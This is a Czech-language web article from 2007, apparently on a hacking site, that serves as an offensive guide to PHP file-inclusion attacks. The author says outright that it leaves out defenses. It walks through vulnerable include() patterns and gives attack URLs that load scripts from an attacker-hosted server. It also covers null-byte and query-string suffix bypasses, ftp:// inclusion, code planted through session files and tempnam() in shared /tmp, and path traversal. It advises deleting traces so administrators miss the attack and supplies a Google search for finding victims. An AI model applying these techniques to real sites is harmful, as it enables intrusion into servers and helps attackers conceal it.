Zpět na seznam článků     Číst komentáře (40)     Verze pro tisk

PHP Include

Autor: Emkei   
17.1.2007

Referenční příručka k jedné z nejpoužívanějších technik webhackingu s názornými ukázkami.


PHP Include, známá rovněž pod názvy PHP Injection (Injekce), patří mezi tři nejběžnější chyby, kterých se programátoři webových aplikací dopouštějí (XSS, SQL Injection a právě PHP Include). Jedná se o klasickou code injection, která, přestože její zneužití má nedozírné následky, je stále poměrně hojně rozšířená.
Cílem tohoto článku je souhrn co možná nejvíce poznatků o zmíněné technice. Záměrně zde neuvádím žádné metody, jak postupovat při zabezpečení webových aplikací před popisovanými útoky. Pokud probíranou problematiku dostatečně pochopíte, sami si vytvoříte nejoptimálnější řešení právě pro svůj server.



Jak již sám název techniky napovídá, jedná se o zneužití PHP funkce include() nebo její obdoby - include_once(), require() nebo require_once() (rozdíl mezi jednotlivými funkcemi je minimální a pro hackera irelevantní). Funkci include() se jako parametr předává cesta (absolutní/relativní) nebo URL k souboru, který se následně vloží na místo volání funkce a v případě, že obsahuje PHP příkazy, tyto instrukce vykoná.

tipp: Neobsahuje-li parametr funkce include() žádnou proměnnou, uzavírejte jej do apostrofů namísto uvozovek.

Varianta # 1:

Řeší-li nějaký server vkládání těla stránek následujícím způsobem

http://www.server.tld/index.php?page=home.php

pak obsahuje soubor index.php mj. kód podobný následujícímu

include $_GET['page'];

který zapříčiní načtení a vykonání souboru home.php. Útočník si tedy zaregistruje libovolnou doménu 3. řádu u některého z freehostingových portálů a nahraje na něj script se svým PHP kódem. Pro zobrazení nepřeloženého zdrojového kódu (např. při zjišťování přístupových kódů do databáze) se používá funkce highlight_file(), případně její alias show_source()

<?php
show_source('index.php');
?>

Útočník však musí docílit toho, aby tento kód neprošel při načítání přes PHP parser jeho serveru (nevykonal se již na freehostingu), který by kód vykonal lokálně a následně PHP příkazy ze souboru odstranil. Dosáhnout toho může hned několika způsoby, například tím, že zákeřnému scriptu dá příponu .txt, nebo vůbec žádnou (druhý způsob si ukážeme později) a posléze načte ve svém prohlížeči následující URL

index.php?page=http://hacker.freehosting.tld/script.txt

čímž se jeho kód vloží do souboru index.php na napadeném serveru a vykoná se.

Co nemusí vyjít:

# Pokud se místo vykonání našeho PHP scriptu zobrazí v prohlížeči pouze jeho obsah, nejedná se o funkci include(), ale o běžný rám (frame), tím pádem není server oběti napadnutelný tímto způsobem útoku. Skutečnost, že se jedná o načítání stránky do rámu (zobrazí se pouze kód zákeřného scriptu) a ne o vykonání stránky v rámu (spuštění zákeřného kódu), je nutné vždy ověřit! Fakt, že se stránka skládá z rámu není rozhodující, i v takovém případě je někdy možné incluzi provést.

# Na serveru oběti je vypnutá funkce allow_url_fopen(), která dovoluje includovat soubory i z jiných serverů (od PHP 5.2.0 se tato direktiva nazývá allow_url_include). Dříve byla na většině serverů povolena, v poslední době je však trendem tuto funkci z bezpečnostních důvodů spíše vypínat. Pokud ji administrátor opravdu vypnul, nemáte jako útočník šanci ji jednoduchým způsobem opět aktivovat (na napadeném serveru je nutný zásah buď přímo do souboru php.ini, nebo použít konfigurační soubor .htaccess).

Varianta # 2:

Soubor index.php obsahuje kód podobný následujícímu

include $_GET['page'].'.php';

Od předchozí varianty se tento způsob liší tím, že nakonec includovaného souboru navíc automaticky doplní příponu .php (nebo jakoukoliv jinou), tím pádem by se index.php po zadání předchozí URL pokusil načíst následující soubor

http://hacker.freehosting.tld/script.txt.php

který by samozřejmě nenašel a ukončil zpracování s chybovým hlášením. Útočník ale nemůže dát svému scriptu příponu .php, důvod jsme si již řekli výše. Vyřešit tento problém může přesto velice jednoduše a to opět několika způsoby.

Zákeřnému scriptu opravdu přidá příponu .php a na vzdálený server jej bude nahrávat přes protokol FTP, tedy

index.php?page=ftp://login:heslo@hacker.freehosting.tld/script

Tvar pro přihlašování je vždy
protokol://uživatel:heslo@server.tld respektive
protokol://uzivatel@server.tld pro autentizaci bez hesla. Tento způsob má své výhody i nevýhody. Nespornou předností je fakt, že mnoho serverů se brání před útokem tím způsobem, že kontrolují proměnnou $_GET['page'] na výskyt řetězce http://, případně https:// a vložení nepovolí, na protokol ftp:// (nebo wrappery, jako php:// atp.) se však často zapomíná.
Na druhé straně musí útočník zadat do URL přihlašovací údaje ke svému účtu na freehostingu, které si pak administrátor napadeného serveru může přečíst v logu, proto po skončení útoku vždy všechny nahrané scripty nezapomeňte smazat.

Jinou možností je opět ponechat útočníkovu scriptu příponu .php, přičemž PHP kód bude i jeho výstupem, tedy například

<?php
echo "echo 'Hacked!';";
?>


Dalším způsobem je upravit dotaz v URL do takové míry, aby připojení řetězce .php nemělo na název vkládaného souboru žádný vliv. Toho lze docílit následujícím způsobem

index.php?page=http://hacker.freehosting.tld/script.txt%00

Řetězec %00 je tzv. nulovým bitem - vše, co je za ním je ignorováno (v našem případě tedy přípona .php). Jinou možností je použít následující konstrukci

index.php?page=http://hacker.freehosting.tld/script.txt?foo=

která zapříčiní, že index.php doplní k proměnné $_GET['page'] příponu .php, ta se však přiřadí parametru foo, tedy foo=.php a includuje se samotný soubor script.txt. Aby však tento způsob fungoval, musí dojít k HTTP(S) komunikaci, při které se parametry předávají právě tímto způsobem, nelze jej proto použít pro vkládání lokálních souborů. Parametry jsou totiž ve funkci include() ignorovány (myšleno při vkládání lokálních souborů, to nemá s HTTP(S) komunikací nic společného), respektive jsou brány jako součást názvu souboru, tedy brání v incluzi.

Varianta # 3:

Soubor index.php obsahuje kód podobný následujícímu

include "./$_GET['page']";

index.php sice nevkládá k includovanému souboru žádnou příponu, zato díky řetězci ./ omezuje vkládání pouze na soubory z lokálního serveru, nelze tedy includovat scripty ze vzdálených freehostingů. Stejný vliv má např. vypnutí již zmíněné funkce allow_url_fopen() nebo použití funkce file_exists(), která kontroluje existenci výhradně lokálních souborů, viz následující příklad

if (file_exists($_GET['page']))
include $_GET['page'];
else
die('Požadovaná stránka neexistuje');

Na freehosting tedy může útočník zapomenout a musí si zřídit hosting u stejného poskytovatele, jako má napadený server. Pokud využívá oběť služeb freehostingu, zaregistruje si jej samozřejmě útočník rovněž. Pozor však na to, že doména nikdy nevypovídá o zvoleném typu webhostingu. Majitel může být vlastníkem domény druhého řádu a přesto využívat freehosting.
Budeme-li brát v úvahu fakt, že oběť nepoužívá vlastní server (pak by nebylo možné této chyby zneužít), musí se útočník svým hostingem pokud možno co nejvíce podobat variantě hostingu oběti. Důvod je jednoduchý. Webhostingové společnosti ve většině případů vlastní hned několik serverů a pokud bude napadený portál využívat placenou variantu a my si zřídíme u stejného poskytovatele freehosting, riskujeme, že nás správce umístí v nejlepším případě pouze na jiný disk, s mnohem větší pravděpodobností však i na jiný server s horšími podmínkami. Tím pádem by bylo vést další útok nemožné. Projděte si tedy fórum daného webhostingu a samotný web oběti a zkuste hledat indicie, které by vám poradily, jakou variantu webhostingu oběť pravděpodobně využívá (využívá CGI scripty, SSL nebo jiné služby, kterou jsou součástí placené varianty, nebo se jí v indexu zobrazuje reklamní banner webhostingu, který je naopak typický pro free variantu... atp.).
Následně si sami sjednejte webhosting, který se domníváte, že využívá i portál oběti (pokud se jedná o placenou variantu, je poměrně běžnou praxí dočasně sjednat se správcem stejnou variantu zdarma "na zkoušku"). Ve většině případů pak ještě budete potřebovat vlastní doménu druhého řádu, kterou dneska seženete již od 200,- Kč za rok a při webhackingu se bez ní neobejdete. Svému registrátorovi (správci domény) pak pošlete požadavek na změnu DNS záznamů.
Nyní je tedy útočník na stejném serveru, jako web oběti. Jelikož však běží na webhostingových serverech PHP v režimu safe_mode, nedostane se útočník do jiných adresářů, než je dovoleno direktivou open_basedir. Asi největším přítelem každého webhackera je funkce phpinfo(), která mu prozradí konfiguraci serverů včetně použitých bezpečnostních opatření. Útočník se tak dozví, jestli běží PHP opravdu v safe_modu, zda je vypnutá funkce allow_url_fopen(), jaké příkazy je zakázáno na serveru používat a množství dalších, pro hackera velice cenných, informací.
Pokud jste majiteli nějaké dynamické webové prezentace, určitě jste se již setkali s tzv. session proměnnými (sezeními). Jedná se o krátkou informaci, která se uloží do souboru na serveru, aby si ji pak mohl klient (návštěvník) později vyžádat. Využití však není pro hackera důležité, zajímavější pro něj je fakt, že kam se tyto dočasné soubory uloží a co budou obsahovat, může jednoduše ovlivnit. Script by mohl vypadat následovně

<?php
session_save_path('/3w/wz.cz/v/victim');
session_id('include');
session_start();
$code = "<?php echo 'Hacked!'; //";
$_SESSION[$code] = 1;
?>

V prvním řádku předá útočník funkci session_save_path() absolutní cestu, kam chce soubor uložit. Může si vybrat opravdu libovolný adresář, tedy i ostatních uživatelů.
Název souboru lze ovlivnit jen z části. Je dovoleno používat pouze malá/velká písmena a číslice, nelze proto zadat souboru příponu. Název je pak automaticky doplněn prefixem sess_, v našem případě se tedy soubor bude jmenovat sess_include.
Třetí příkaz se postará o vytvoření souboru a čtvrtý o jeho obsah. Ten musí vždy končit komentářem // a ukončovací PHP řetězec ?> se nezapisuje.
Poslední řádek zapíše obsah proměnné $code do souboru sess_include.
Poté, co vytvořil útočník soubor s vlastním kódem ve stejném adresáři, kde je uložen index oběti, načte ve svém prohlížeči následující URL

http://www.server.tld/index.php?page=sess_include

a jeho kód se vykoná.

Pozor: PHP maže automaticky session soubory pouze ve výchozím adresáři určeném direktivou session_save_path, nezapomeňte proto jako poslední příkaz vašeho exploitu zadat následující řádek (parametr si samozřejmě upravte)

unlink('/3w/wz.cz/v/victim/sess_include');

Co nemusí vyjít:

Ne na všech serverech se Vám podaří zapsat do jakéhokoliv adresáře a vy jste pak nuceni zapisovat do toho výchozího. To však není pro útočníka žádný problém, uloží svůj script do jednoho ze společných adresářů všech uživatelů (ukazuje na něj direktiva open_basedir), např. /tmp a proměnné page k němu následně předá v URL cestu včetně názvu scriptu

index.php?page=../../../../../tmp/sess_include

(kolikrát použít řetězec ../ při tzv. kanonizaci si buď spočítejte, nebo jej napište alespoň 5x).

Varianta # 4:

Soubor index.php obsahuje kód podobný následujícímu

include './'.$_GET['page'].'.php';

Jedná se asi o nejběžnější způsob dynamického vkládání souboru do stránky. Od předchozí varianty se liší tím, že navíc ke vkládanému souboru automaticky dodá příponu .php, čímž útočníkovi znemožní použít předchozí techniku (v názvu nelze napsat ".", a tudíž ani příponu).
Podívejme se proto zpátky na výstup funkce phpinfo(). Pokud jste si ji pozorně prostudovali, narazili jste i na direktivu open_basedir, která ukazuje na všechny adresáře, kam má uživatel přístup. Najdete zde mj. vždy aktuální adresář (místo pro naši prezentaci) a nějaké dočasné úložiště, např. /tmp. Sem se ukládají všechny dočasné soubory, jejichž vytvoření jsme my, nebo někdo ze "spolubydlících" zapříčinili. Obrovskou výhodou pro zlé hackery a nevýhodou pro nás (bezmocné oběti =) je skutečnost, že do tohoto adresáře mají právo zápisu a čtení opravdu všichni uživatelé na daném serveru.
Pro vytvoření dočasných souborů ve zmíněném adresáři existuji v PHP dvě speciální funkce, avšak pouze u jedné je možné určit název vytvářeného souboru (a to jen částečně). Je jí funkce tempnam(), která se chová nepatrně odlišně v GNU/Linux oproti MS Windows (pokud bude hacker ukládat svůj script do výchozího adresáře, tak ho tento rozdíl nemusí zajímat). Syntaxe je následující

$name = tempnam('','include.php');

Jako první parametr se uvádí cesta k dočasnému adresáři, ponechejte jej prázdný pro výchozí hodnotu (mimo adresáře v open_basedir a upload_tmp_dir by se Vám totiž zápis neměl vydařit) a jako druhý, název samotného souboru, respektive jeho prefix. PHP totiž přidá nakonec názvu ještě řetězec složený z libovolných 6 znaků (a-z, A-z, 0-9). Jak se tedy soubor jmenuje včetně absolutní cesty, se dozvíme vypsáním proměnné $name.
Nyní je načase, zapsat do vytvořeného souboru nějaký kód, to se provádí stejně, jako při práci s jakýmkoliv jiným souborem

<?php
$name = tempnam('', 'include.php?foo=');
echo $name;
$handle = fopen($name, 'w');
fwrite($handle, "<?php echo 'Hacked!';");
fclose($handle);
?>

Všimněte si opět absence ukončovací části ?> v těle exploitu. Námi vytvořený soubor je stejně jako u předchozího příkladu nutné ručně smazat, pamatujte na to při psaní exploitu.
Poté, co jsme náš exploit zapsali do souboru načtením výše uvedeného kódu, spustíme také jej. Kde se nachází a pod jakým názvem, jsme se již dozvěděli vypsáním proměnné $name, například

/tmp/include.phpDQSIq9

Manuálové stránky opravdu nelhaly, uživatel má možnost zvolit pouze prefix souboru, který je automaticky z bezpečnostních důvodů doplněn systémem o dalších 6 pseudonáhodných znaků. Tento fakt však definitivně vyvrací možnost použít metodu PHP Include, neboť náš script musí bezpodmínečně končit příponou .php. Na nulový bit nebo parametry může útočník zapomenout, tohle funguje při HTTP(S) komunikaci, ne v souborovém systému, co tedy s tím? Nic převratného. Poté, co hacker zamáčkne slzu nad tímto sofistikovaným bezpečnostním prvkem, si totiž soubor okamžitě přejmenuje zpět na include.php, tedy

<?php
$name = tempnam('', 'include.php?foo=');
echo $name;
$handle = fopen($name, 'w');
fwrite($handle, "<?php echo 'Hacked!';");
fclose($handle);

$parts = pathinfo($name);
rename($name, $parts['dirname'].'/include.php');
?>

Pak mu již nic nebrání spustit svůj exploit načtením následující URL

http://www.server.tld/index.php?page=../../../../../../tmp/include

Co nemusí vyjít:

Některé malé servery postavené na základě malého počtu scriptů si mohou dovolit využívat include() ve funkci switch(), případně je proměnná $_GET['page'] testována na výskyt řetězců jako jsou ../ nebo sess_. V takových (výjimečných) případech Vám samozřejmě ani jedna z výše popisovaných technik fungovat nebude.

Google.com

Ačkoliv je pravidlem vyhledávat chyby podle serveru a ne servery podle chyby, uvádím zde i dotaz pro hledání potenciálních webů náchylných na útok PHP Include ve vyhledávači Google.com. Nemusí se vždy jednat o proměnnou page, ale mj. i o main, include, id, stranka,... atp.

inurl:index.php?page=



Tento článek vznikl na základě dvou večerů strávených studiem vybraných PHP funkcí z kompletního PHP přehledu. PHP obsahuje bezmála 4.000 funkcí, takže další večery by bezpochyby vydaly na tutoriál. Možná jste již dříve postřehli fakt, že s každou druhou funkcí, která nějakým způsobem pracuje se soubory, je možné mapovat jakékoliv adresáře na serveru (testovat na existenci adresáře nebo souboru), případně znáte jiné netradiční využití PHP při webhackingu a rádi se podělíte s ostatními v komentářích, neboť webhacking patří mezi nejzábavnějších a asi nejpopulárnějších oblastí hackingu vůbec, jejímž jedním z hlavních pilířů je právě využívání obyčejných funkcí neobyčejným způsobem ...


Emkei

Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.6/159

1  2  3  4  5    
(známkování jako ve škole)